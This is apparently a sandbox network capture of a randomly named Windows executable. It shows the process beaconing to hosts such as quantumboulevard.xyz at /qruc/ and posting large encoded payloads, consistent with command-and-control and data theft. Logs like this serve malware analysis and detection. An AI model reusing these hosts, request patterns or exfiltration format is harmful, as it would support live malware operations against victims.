Apr 26, 2024 07:40:25.373492002 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Fri, 26 Apr 2024 05:40:25 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49758	64.225.91.73	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:27.892894030 CEST	408	OUT	GET /qruc/?vFLHF=St8dDlnHzrct7&xl=Xmo1lInOanbZEZR5AfqbZqRP40VXQk0TYIBV9i+RFmbCb5D19+w35N1Is2bkZ42QIXmVJTObgj0BeJUqj9w3SBcjawfNBsE/jQutHm2oP9EVAL/0u02x0DQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Host: www.linbreoffice.org Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Apr 26, 2024 07:40:28.089332104 CEST	835	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Fri, 26 Apr 2024 05:40:27 GMT content-type: text/html content-length: 593 last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: "63f68860-251" accept-ranges: bytes connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 64 61 74 61 29 0a 20 20 20 20 20 20 20 20 2e 63 61 74 63 68 28 65 72 72 6f 72 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 28 72 65 74 72 69 65 73 20 3e 20 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 72 69 65 73 2d 2d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 72 65 74 72 79 2c 20 69 6e 74 65 72 76 61 6c 29 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 45 72 72 6f 72 3a 20 22 2c 20 65 72 72 6f 72 29 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 29 28 29 3b 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49759	66.29.135.159	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:33.613960028 CEST	689	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.quantumboulevard.xyz Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.quantumboulevard.xyz Referer: http://www.quantumboulevard.xyz/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 65 49 34 44 42 51 63 4f 79 4c 74 7a 41 61 30 43 6d 64 34 70 74 64 4d 36 32 52 34 32 76 78 49 6f 71 45 44 34 47 53 76 6d 76 6e 47 54 6c 71 78 39 77 79 79 78 4b 68 64 52 35 65 2f 2f 42 77 2b 36 64 53 39 35 66 73 59 2b 52 72 69 42 6f 69 5a 76 54 69 46 38 67 6b 32 31 4d 70 39 6f 42 43 2f 6e 6f 44 33 6b 57 66 58 61 4a 33 48 64 6b 67 70 52 74 4c 70 74 61 55 6b 2b 2b 6c 67 6e 65 66 30 6e 2b 56 66 67 4d 32 39 55 6b 68 66 77 63 69 38 76 5a 4a 37 57 71 31 6f 66 2b 4d 79 63 31 6c 37 59 62 5a 50 4e 65 71 34 66 46 4f 6a 36 62 4e 41 2b 68 72 6c 35 4e 38 66 57 46 77 78 56 5a 77 4d 65 43 77 3d 3d Data Ascii: xl=eI4DBQcOyLtzAa0Cmd4ptdM62R42vxIoqED4GSvmvnGTlqx9wyyxKhdR5e//Bw+6dS95fsY+RriBoiZvTiF8gk21Mp9oBC/noD3kWfXaJ3HdkgpRtLptaUk++lgnef0n+VfgM29Ukhfwci8vZJ7Wq1of+Myc1l7YbZPNeq4fFOj6bNA+hrl5N8fWFwxVZwMeCw==
Apr 26, 2024 07:40:33.816148043 CEST	533	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Apr 2024 05:40:33 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49760	66.29.135.159	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:36.340142012 CEST	709	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.quantumboulevard.xyz Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.quantumboulevard.xyz Referer: http://www.quantumboulevard.xyz/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 65 49 34 44 42 51 63 4f 79 4c 74 7a 42 36 45 43 68 2b 67 70 72 39 4d 35 35 78 34 32 30 68 49 73 71 45 50 34 47 57 2b 35 75 53 65 54 6d 4c 42 39 33 7a 79 78 44 78 64 52 79 2b 2f 36 63 67 2b 31 64 53 34 4d 66 73 6b 2b 52 6f 65 42 6f 6a 70 76 54 56 78 6a 68 30 32 37 55 5a 39 32 50 69 2f 6e 6f 44 33 6b 57 66 43 48 4a 33 66 64 6e 51 5a 52 73 71 70 71 53 30 6b 39 6f 31 67 6e 56 2f 30 6a 2b 56 66 53 4d 33 68 36 6b 6a 33 77 63 6a 4d 76 58 34 37 56 6c 31 6f 5a 78 73 7a 54 37 46 69 4d 62 71 37 46 41 6f 73 4e 4c 61 7a 68 65 4c 52 6b 77 61 45 75 66 38 37 6c 59 33 34 68 55 7a 78 58 5a 38 52 6a 6e 61 56 45 6e 2b 6d 79 36 32 67 35 55 70 52 6e 52 64 6f 3d Data Ascii: xl=eI4DBQcOyLtzB6ECh+gpr9M55x420hIsqEP4GW+5uSeTmLB93zyxDxdRy+/6cg+1dS4Mfsk+RoeBojpvTVxjh027UZ92Pi/noD3kWfCHJ3fdnQZRsqpqS0k9o1gnV/0j+VfSM3h6kj3wcjMvX47Vl1oZxszT7FiMbq7FAosNLazheLRkwaEuf87lY34hUzxXZ8RjnaVEn+my62g5UpRnRdo=
Apr 26, 2024 07:40:36.539266109 CEST	533	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Apr 2024 05:40:36 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49761	66.29.135.159	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:39.059133053 CEST	10791	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.quantumboulevard.xyz Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.quantumboulevard.xyz Referer: http://www.quantumboulevard.xyz/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 65 49 34 44 42 51 63 4f 79 4c 74 7a 42 36 45 43 68 2b 67 70 72 39 4d 35 35 78 34 32 30 68 49 73 71 45 50 34 47 57 2b 35 75 52 2b 54 6c 39 64 39 78 51 4b 78 52 68 64 52 78 2b 2f 37 63 67 2b 6f 64 54 63 41 66 73 6f 45 52 75 53 42 70 42 68 76 52 6e 5a 6a 6f 30 32 37 64 35 39 72 42 43 2f 49 6f 44 6e 67 57 66 53 48 4a 33 66 64 6e 53 52 52 72 37 70 71 55 30 6b 2b 2b 6c 67 72 65 66 30 4c 2b 56 48 43 4d 33 6c 45 6b 53 58 77 63 44 63 76 56 4b 44 56 6f 31 6f 62 77 73 79 4d 37 46 65 36 62 71 6d 2b 41 74 51 6a 4c 64 44 68 63 4e 73 69 69 6f 42 79 45 63 7a 4b 4d 57 4d 4b 61 54 35 73 63 4f 6f 57 71 6f 6c 6e 31 38 6e 61 67 6b 6c 50 47 72 78 67 50 49 79 57 4a 6b 4c 5a 42 77 53 4b 6f 58 61 74 67 4e 71 53 4f 34 62 43 7a 73 57 4b 33 2b 65 45 35 52 69 4f 63 73 5a 31 76 30 47 47 75 2f 45 49 58 70 71 30 58 69 73 67 44 76 4a 61 5a 6d 64 39 37 78 76 2f 57 49 6d 6e 37 72 4d 56 44 61 32 47 6f 2b 73 50 65 2b 48 57 6d 56 65 4c 71 64 78 4f 6b 49 55 58 6d 56 34 76 37 35 76 33 72 46 42 32 73 58 6d 32 39 31 62 4b 66 68 61 34 69 77 7a 47 72 49 4c 30 4f 6f 6e 32 2b 6a 6a 2f 75 71 5a 4e 42 41 69 6b 36 38 54 36 6a 37 65 35 50 2b 47 50 58 58 69 74 49 2f 61 6f 74 48 51 75 72 5a 65 4f 53 52 48 5a 66 33 37 41 34 46 6e 5a 4b 30 4d 66 58 75 58 31 57 7a 63 43 70 50 37 72 35 43 44 4c 74 61 56 75 59 67 47 51 44 67 76 4d 6e 6b 41 51 69 6c 72 43 61 4c 4d 73 72 56 76 78 39 79 64 41 47 78 75 4e 4a 5a 35 2f 7a 66 31 42 73 45 56 4a 51 42 6b 43 61 44 46 61 57 4a 56 50 6f 45 2f 34 73 51 65 71 53 4c 66 4c 34 4c 50 42 77 57 78 6f 34 36 37 7a 30 35 39 74 74 31 76 54 6f 41 77 73 48 34 4c 72 69 52 6a 44 35 68 7a 77 58 6b 65 70 79 39 48 41 58 2f 30 55 55 51 6a 32 70 72 54 31 71 6e 58 4f 47 6a 6c 31 66 35 61 73 2b 64 35 73 61 37 30 6d 4c 5a 47 74 66 2b 72 71 44 45 44 41 62 64 68 77 50 63 58 65 56 4a 6a 39 4b 55 39 47 4c 75 58 33 68 64 34 67 47 68 5a 41 38 52 43 68 34 57 34 54 6d 48 56 56 39 62 33 38 6e 57 45 55 33 59 4b 47 41 6f 57 58 38 55 4a 52 58 6a 4b 38 77 46 4c 72 58 65 31 34 57 37 54 6d 62 64 6c 76 4a 46 6b 77 56 67 41 33 6f 72 46 78 74 6a 53 48 79 75 45 4a 64 2f 6e 7a 75 67 36 76 4a 53 33 5a 61 51 41 72 50 38 6f 34 61 68 55 70 5a 56 46 68 61 59 6e 35 62 50 53 36 63 46 31 41 4d 6c 4e 38 6d 49 4f 58 54 62 77 63 64 41 68 58 33 59 6c 74 4d 38 4e 79 70 4b 51 75 75 42 56 2f 79 6b 49 64 70 30 63 47 34 33 5a 63 65 65 6f 54 57 32 34 42 4f 46 48 34 5a 4d 6e 44 6f 54 36 71 33 67 38 4c 74 76 6c 33 77 6f 77 68 6d 63 4c 67 46 6c 33 2b 6f 6e 78 6a 69 36 64 48 53 37 55 65 67 65 6b 68 70 46 72 72 36 37 43 4b 6d 51 43 52 38 33 63 4d 5a 67 6b 6f 66 76 56 50 37 39 58 5a 66 6d 4a 35 75 39 61 36 39 72 35 45 6a 41 74 51 46 56 54 68 58 63 59 4e 6d 62 47 4e 78 48 35 4a 78 57 61 6f 5a 35 55 6a 32 59 5a 2f 5a 44 53 66 4f 54 4e 70 39 2f 67 6f 63 46 4b 77 51 54 49 68 49 38 57 73 62 4c 63 4e 6c 46 39 74 75 58 73 57 38 59 39 58 6e 32 41 45 45 53 59 50 61 57 70 4a 78 6f 67 34 7a 56 4c 71 2f 70 34 76 51 76 6a 44 70 4d 30 53 6c 52 56 75 66 70 72 73 34 75 64 31 6b 36 59 42 6c 46 39 63 65 71 4a 58 43 31 66 35 64 72 77 77 4e 6d 53 32 53 42 48 70 77 34 39 74 58 56 36 79 47 48 58 42 6c 4f 4d 44 6e 35 4c 78 35 78 30 55 39 42 6f 4f 55 4d 36 79 50 2b 36 4f 6c 69 48 54 48 2b 6e 2f 52 47 55 6c 35 4b 36 4e 4a 59 65 6e 76 38 34 2b 47 7a 6e 70 58 4b 35 38 6b 4f 78 74 75 35 45 33 70 32 70 64 46 76 6a 53 48 6d 30 72 2b 77 46 66 7a 6b 38 71 79 30 47 38 37 5a 45 76 45 43 72 4c 38 34 77 37 39 74 6f 6d 6c 76 4d 37 55 42 76 34 33 6f 72 4f 35 75 33 74 6c 6d 43 4b 76 52 76 30 59 67 52 41 54 35 6d 71 31 4b 62 64 56 7a 4d 50 6c 39 34 31 67 6f 56 34 41 37 77 52 63 66 72 44 32 49 56 33 6c 67 57 4c 6d 30 74 72 32 5a 35 4a 66 32 5a 76 71 48 7a 6f 51 49 4e 4c 46 41 35 49 42 55 45 36 41 45 4d 30 51 4f 34 4e 46 6a 67 78 50 69 70 4a 57 4e 30 49 6f 59 31 6a 69 53 6f 49 52 48 57 56 4c 47 61 31 43 4d 38 57 72 7a 53 78 30 39 77 55 5a 73 32 50 36 5a 6b 62 76 52 78 56 43 4a 4e 74 5a 43 62 42 6c 7a 42 47 4f 30 7a 58 54 42 5a 72 72 37 37 6b 73 5a 35 4f 47 78 43 71 77 72 6c 35 33 54 4d 6c 58 32 6b 6f 71 33 70 4f 32 75 35 5a 34 4d 53 35 30 64 36 39 41 33 2b 39 77 4f 61 59 66 67 31 6a 6a 64 73 77 33 76 4f 62 4c 31 33 48 32 69 36 78 Data Ascii: xl=eI4DBQcOyLtzB6ECh+gpr9M55x420hIsqEP4GW+5uR+Tl9d9xQKxRhdRx+/7cg+odTcAfsoERuSBpBhvRnZjo027d59rBC/IoDngWfSHJ3fdnSRRr7pqU0k++lgref0L+VHCM3lEkSXwcDcvVKDVo1obwsyM7Fe6bqm+AtQjLdDhcNsiioByEczKMWMKaT5scOoWqoln18nagklPGrxgPIyWJkLZBwSKoXatgNqSO4bCzsWK3+eE5RiOcsZ1v0GGu/EIXpq0XisgDvJaZmd97xv/WImn7rMVDa2Go+sPe+HWmVeLqdxOkIUXmV4v75v3rFB2sXm291bKfha4iwzGrIL0Oon2+jj/uqZNBAik68T6j7e5P+GPXXitI/aotHQurZeOSRHZf37A4FnZK0MfXuX1WzcCpP7r5CDLtaVuYgGQDgvMnkAQilrCaLMsrVvx9ydAGxuNJZ5/zf1BsEVJQBkCaDFaWJVPoE/4sQeqSLfL4LPBwWxo467z059tt1vToAwsH4LriRjD5hzwXkepy9HAX/0UUQj2prT1qnXOGjl1f5as+d5sa70mLZGtf+rqDEDAbdhwPcXeVJj9KU9GLuX3hd4gGhZA8RCh4W4TmHVV9b38nWEU3YKGAoWX8UJRXjK8wFLrXe14W7TmbdlvJFkwVgA3orFxtjSHyuEJd/nzug6vJS3ZaQArP8o4ahUpZVFhaYn5bPS6cF1AMlN8mIOXTbwcdAhX3YltM8NypKQuuBV/ykIdp0cG43ZceeoTW24BOFH4ZMnDoT6q3g8Ltvl3wowhmcLgFl3+onxji6dHS7UegekhpFrr67CKmQCR83cMZgkofvVP79XZfmJ5u9a69r5EjAtQFVThXcYNmbGNxH5JxWaoZ5Uj2YZ/ZDSfOTNp9/gocFKwQTIhI8WsbLcNlF9tuXsW8Y9Xn2AEESYPaWpJxog4zVLq/p4vQvjDpM0SlRVufprs4ud1k6YBlF9ceqJXC1f5drwwNmS2SBHpw49tXV6yGHXBlOMDn5Lx5x0U9BoOUM6yP+6OliHTH+n/RGUl5K6NJYenv84+GznpXK58kOxtu5E3p2pdFvjSHm0r+wFfzk8qy0G87ZEvECrL84w79tomlvM7UBv43orO5u3tlmCKvRv0YgRAT5mq1KbdVzMPl941goV4A7wRcfrD2IV3lgWLm0tr2Z5Jf2ZvqHzoQINLFA5IBUE6AEM0QO4NFjgxPipJWN0IoY1jiSoIRHWVLGa1CM8WrzSx09wUZs2P6ZkbvRxVCJNtZCbBlzBGO0zXTBZrr77ksZ5OGxCqwrl53TMlX2koq3pO2u5Z4MS50d69A3+9wOaYfg1jjdsw3vObL13H2i6xdO5XrB9WWBCCfRpgH8CL1L+9KPNgbSGLk/DHPKRptoiB35cbRdAEft6Ae3BDZVO8wq0JPJbJnIQirho5hJ+G2H9X0j2rUj25IVmTvgcUxDG1a7sADM9ETKNsCGJBR00s39RU+FKwjCXoFhPq0a1RgZhv8wK+jz9PE+hLEMRitKnr+NOxbi5yzzFUeg/6KrcXkU4mR9cyquvkeTTGp31JxarK3QUbTl8BEtQB/HMILcDAKd+kL2vz2ztFYEdEBv2f5jRsBXIkuyjLoTsQUciX/0BuBmG4HKG0pe/rk663FP92PvIPVkrKZbKDY9btXyuqRzaMEzkWsxJWoKoKw6/1XBOPCvfyS3ns+87rdw8M20TzDYNe2rCs8cB3RhKEmdDEj/cuTIOMoTE6LFioUrSKms1BFosfDEnrvCW10DdxUvHsMBuUx4Xtl7goxCY1+Ii5LZ8FH4Oh80naWXjW6V/bo32MlLkcaW50gmEeiD/l5bPu8V9m49VMLVLjthMtdkaCgmWYTIpin3ofgaU8R+N4nAd9D4Ok0eQIEai2jataRn6IK5kkaotAcDgwou32LnuS1+/u23TZgUquxY5SpHe6170vghibFBBPRlG5/cmX/6C6nO1OQOkAerK3n1xLIRHvaZkaV1its0iWOO9fgo3IR30UyhUQEAmoR4DciyBY8qSptiCHKGl/6E7EBBsNBjL2Wy1gCMzrt1LjjNaP+HpDM9SOsYDsXKUv194VJro3o2PyJOLPlTRe2GYD1BtLcUbL4pgqCuHw9MxrfeFA8j0MOgACCAgMIETiYyO/B6NQv7aq6ZMVfddo45yWcTgcshlNoNWQPTLKjo6UTCrGtREdSG57+QxJf1lUbRLHbpNZmARbBkRHFB0VeyeHuL5rbMSz2uVmUf9Sxd4kV080dCwkVLSz+oWNm62G94pOjPfKdF+wl9O6sDAXrBZTXwZ2Nc6YavI4lGFrzk1Km0Lg7hst1DjxwMLG+D0McHLnZD2O8DMUtFF4OWkq+gQT45DXKxFmBA6A3+GbaSkByFV8zXpwVh5eUCfz7mBAjBEqrb7LZTMopUpT3fEF8VgsiT/rBKxw/g3hSkR9Z0szo0iO1aPmCx/yTVRWrU5+atDRh2gx6erPcJcz404o8s3607FO4lctCj2zcnLJNidDzC9BH8Hoc5k48qHlVqp8MjbfRoZzy0mo3oKM+fECvqsDpDlUIxlIQXqnkw3b7TNmH+8TnfdLcuLq4s/91Uq6D6/88TD3wk22s7v1qclkrCXBN3maF1UhuaQMxitzJFa6wN11ZHd2oFcA8HWOvYuGQxaixma4IpJpHd6b5RlzGn+u9FV/sJpzBPn0oFedI/NBupjzgU/M0Wxn/0++zHNxTWz1cq/SQpw5Q9OJf8FOStFPCr/MCtTVVnNBJSJmxyOjiZVYZpG37bHc46uHNR2UZv+/XW9+kuphP+gPc7Rhjk5dYjVGGhxk93M5iQL7A/t58LR4KfOoPMdNaLQOqJ5FCLfHUMDHekvjoKTd675TYHDDzSE4oH5uKOYSQk5nHoN9tfCy/MzRdnNdfYMsw9inzMnxzpoTpec5t/ixQZqH70hHsc+Fy9LSSg6rHN+zjmk/SMuAgKBKxySK/2rf7Od8tSS/eZutSfydmlrivGutMDBDzqE3PV72A4epQDqpVnWpgUrzctlTpvXdH2y20xCDsXSotOt0IyhwqT8v0+YIt7KGuWIqQfMrmMTvQuB4Ahj3RQzGvgpQNy/NsL5O6jYP00R8ZSV3RPH26Ncj7WFG1bOn7z4X9Eq5pNEZySDAWh4asqm/9GCiDWIvb/yq1SSLJtDtBcrIjx0nJ6IBcvzBI7QPQQ6MN29Hs82r9r531qaJB8oSYfNcWQbIYjtQTsqEumbxnysOzPGYoQGEQEv9IJvEWWCicck6H+6zMMZ3wEQVG58sQ9ZhefuPHcPLnFOlpe0mntWhYoh+3pTvvkSTGODvFki+eokeOe1EO8LXMDq88vjZxXRdbdyJHB8g9hACLnCuPagY/6J+dTXI65IPkkcSRDqD98f1E9+ueOYTX3D/r3CWVcRK9FAi5X/YsGrHxL1zc0qF13uh/CvWUgyVZpx+ZesbrINW0nVt2guyUZNb7YGf1BUfYsv+EmFc7tIplY0iHfBH7yMEDeG8TyBFvZlX40GmzuR9tPZsXCP1CWpkzq1JAelfA8K+nKn4D7izAiuOYhNFr5sx6trf88U/jqU0hsFmcZ0Q9xK90uEmE6UVM7URqx/PDbBak1J+nI792ukPmUV4fSVWLSgK/2x//M79v30kr3hR7+jmI9cSJ5ABKJzhh+7j/x21BwCJ4kVx4+Yi6N/GiSdQ2dot5Xq